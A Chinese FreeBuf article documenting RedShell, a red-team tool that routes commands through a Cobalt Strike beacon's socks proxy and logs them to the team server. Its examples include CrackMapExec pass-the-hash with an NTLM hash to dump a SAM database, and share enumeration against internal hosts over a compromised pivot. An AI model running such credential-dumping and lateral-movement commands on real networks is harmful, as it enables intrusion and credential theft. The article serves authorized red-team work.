freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何使用RedShell将命令执行记录在Cobalt Strike团队服务器中
2020-12-10 23:54:31

概述

RedShell是一款交互式命令行工具,它可以帮助广大研究人员通过proxychains(一款命令行代理神器)来执行命令,并自动将命令执行日志记录在Cobalt Strike团队服务器之中。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/Verizon/redshell.git

工具安装

RedShell基于Python 3开发,因此需要在本地主机上安装好Python 3环境。除此之外,RedShell的运行还需要在系统中安装并配置好Cobalt Strike客户端。

安装依赖组件:

pip3 install -r requirements.txt

安装proxychains-ng【传送门】:

apt install proxychains4

给agscript封装器提供可执行权限:

chmod +x agscript.sh

工具使用

首先,我们需要在Cobalt Strike客户端的Beacon中开启一个socks监听器。

接下来,使用下列命令运行RedShell:

$ python3 redshell.py

 

                ____           _______ __         ____

               / __ \___  ____/ / ___// /_  ___  / / /

              / /_/ / _ \/ __  /\__ \/ __ \/ _ \/ / /

             / _, _/  __/ /_/ /___/ / / / /  __/ / /  

            /_/ |_|\___/\__,_//____/_/ /_/\___/_/_/

 

            

RedShell>

显示帮助信息:

RedShell> help

 

Documented commands (use 'help -v' for verbose/'help <topic>' for details):

===========================================================================

beacon_exec  connect     help         pwd   shell        use_pivot

cd           disconnect  history      quit  show_pivots

config       exit        load_config  set   status

设置选项:

RedShell> set option VALUE

连接至Cobalt Strike

设置Cobalt Strike连接选项:

RedShell> set cs_host 127.0.0.1

RedShell> set cs_port 50050

RedShell> set cs_user somedude

连接至Cobalt Strike团队服务器(此时需要输入团队服务器的密码):

RedShell> connect

Enter Cobalt Strike password:

Connecting...

╔═══════════════════════╤═══════════════════════════════════════════════════════╗

║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050       ║

╟───────────────────────┼───────────────────────────────────────────────────────╢

║ Socks port status     │ Disconnected                                          ║

╚═══════════════════════╧═══════════════════════════════════════════════════════╝

或者,我们也可以从配置文件中加载配置信息。需要注意的是,团队服务求的密码是无法从配置文件中读取的。在RedShell中输入密码之后,工具将会帮助我们自动跟服务器进行连接:

$ cat config.txt

cs_host=127.0.0.1

cs_port=12345

cs_user=somedude
RedShell> load_config config.txt

Config applied:              

╔════════════════════════════╤═══════════════════════════════════════════════════════╗

║ Redshell install directory │ /opt/redshell                                         ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Proxychains config         │ /opt/redshell/proxychains_redshell.conf               ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS install directory       │ /opt/cobaltstrike                                     ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS team server             │ 127.0.0.1                                             ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS team server port        │ 50050                                                 ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS user                    │ somedude_redshell                                     ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Socks port                 │                                                       ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Beacon PID                 │                                                       ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Password                   │                                                       ║

╚════════════════════════════╧═══════════════════════════════════════════════════════╝


Enter Cobalt Strike password:

 

╔═══════════════════════╤═══════════════════════════════════════════════════════╗

║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050       ║

╟───────────────────────┼───────────────────────────────────────────────────────╢

║ Socks port status     │ Disconnected                                          ║

╚═══════════════════════╧═══════════════════════════════════════════════════════╝

显示可用代理:

RedShell> show_pivots

╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════╗

║ ID     Alive   Socks Port    PID         User                       Computer                   Last         ║

╠═════════════════════════════════════════════════════════════════════════════════════════════════════════════╣

║ 1      True    22200         8948        Administrator *            WS02                       16ms         ║

╟─────────────────────────────────────────────────────────────────────────────────────────────────────────────╢

║ 2      True    54212         7224        Administrator *            WS03                       39ms         ║

╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════╝

选择一个代理(只有当客户端与团队服务器之间的连接建立成功之后才可以设置该选项):

RedShell> use_pivot 2

 

╔═══════════════════════╤════════════════════════════════════════════════════════════╗

║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050            ║

╟───────────────────────┼────────────────────────────────────────────────────────────╢

║ Socks port status     │ Connected via socks port 54212 @ beacon PID 7224           ║

╚═══════════════════════╧════════════════════════════════════════════════════════════╝

检查配置信息:

RedShell> config

 

╔════════════════════════════╤═══════════════════════════════════════════════════════╗

║ Redshell install directory │ /opt/redshell                                         ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Proxychains config         │ /opt/redshell/proxychains_redshell.conf               ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS install directory       │ /opt/cobaltstrike                                     ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS team server             │ 127.0.0.1                                             ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS team server port        │ 50050                                                 ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ CS user                    │ somedude_redshell                                     ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Socks port                 │                                                       ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Beacon PID                 │                                                       ║

╟────────────────────────────┼───────────────────────────────────────────────────────╢

║ Password                   │                                                       ║

╚════════════════════════════╧═══════════════════════════════════════════════════════╝

检测运行状态:

RedShell> status

 

╔═══════════════════════╤════════════════════════════════════════════════════════════╗

║ CS team server status │ Connected via somedude_redshell@127.0.0.1:50050            ║

╟───────────────────────┼────────────────────────────────────────────────────────────╢

║ Socks port status     │ Connected via socks port 54212 @ beacon PID 7224           ║

╚═══════════════════════╧════════════════════════════════════════════════════════════╝

命令是通过Beacon socks代理来执行的,可以使用当前用户权限或sudo来执行。所有的命令都会通过proxychains来执行:

RedShell> beacon_exec -h

usage: beacon_exec [-h] [-t TTP] ...

 

Execute a command through proxychains/beacon socks proxy and simultaneously log it to the teamserver.

 

positional arguments:

  command            Command to execute through the proxy.

 

optional arguments:

  -h, --help         show this help message and exit

  -t TTP, --ttp TTP  MITRE ATT&CK Tactic IDs. Comma delimited to specify multiple.


example:

beacon_exec -t T1003,T1075 cme smb --local-auth -u Administrator -H C713B1D611657D0687A568122193F230 --sam 192.168.1.1

RedShell> beacon_exec cme smb 192.168.1.14

[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.14

[proxychains] Strict chain  ...  127.0.0.1:48199  ...  192.168.1.14:445  ...  OK

[proxychains] Strict chain  ...  127.0.0.1:48199  ...  192.168.1.14:135  ...  OK

[proxychains] Strict chain  ...  127.0.0.1:48199  ...  192.168.1.14:445  ...  OK

SMB         192.168.1.14    445    TESTNET-DC1      [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:TESTNET-DC1) (domain:TESTNET) (signing:True) (SMBv1:True)

需要注意的是,beacon_exec命令所使用的密码中,特殊字符有可能会被解析为shell元字符,这将导致命令执行失败。为了解决这个问题,我们可以设置密码选项,然后使用“$password”来进行调用:

RedShell> set password Test12345

password - was: ''

now: 'Test12345'

RedShell> beacon_exec cme smb --local-auth -u administrator -p $password --shares 192.168.1.14

关于RedShell和CS安装目录选项,脚本需要知道具体的路径,相关配置命令如下:

RedShell> set redshell_directory /opt/redshell

RedShell> set cs_directory /opt/cobaltstrike

常用功能

RedShell提供了下列命令来帮助研究人员查看文件系统:

RedShell> cd /opt/redshell/

RedShell> pwd

/opt/redshell

我们还可以通过shell命令或”!”短命令来查看其他可用命令:

RedShell> shell date

Mon 29 Jul 2019 05:33:02 PM MDT

RedShell> !date

Mon 29 Jul 2019 05:33:03 PM MDT

追踪命令执行记录,并查看历史记录:

RedShell> history

    1  load_config config.txt

    2  status

    3  help

RedShell还提供了Tab键命令补全,或通过CTRL+ l组合键来清理终端窗口信息。

许可证协议

本项目的开发与发布遵循Apache 2.0开源许可证协议。

项目地址

RedShell:【GitHub传送门


# Cobalt strike # 命令执行 # proxychains # Cobalt Strike
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录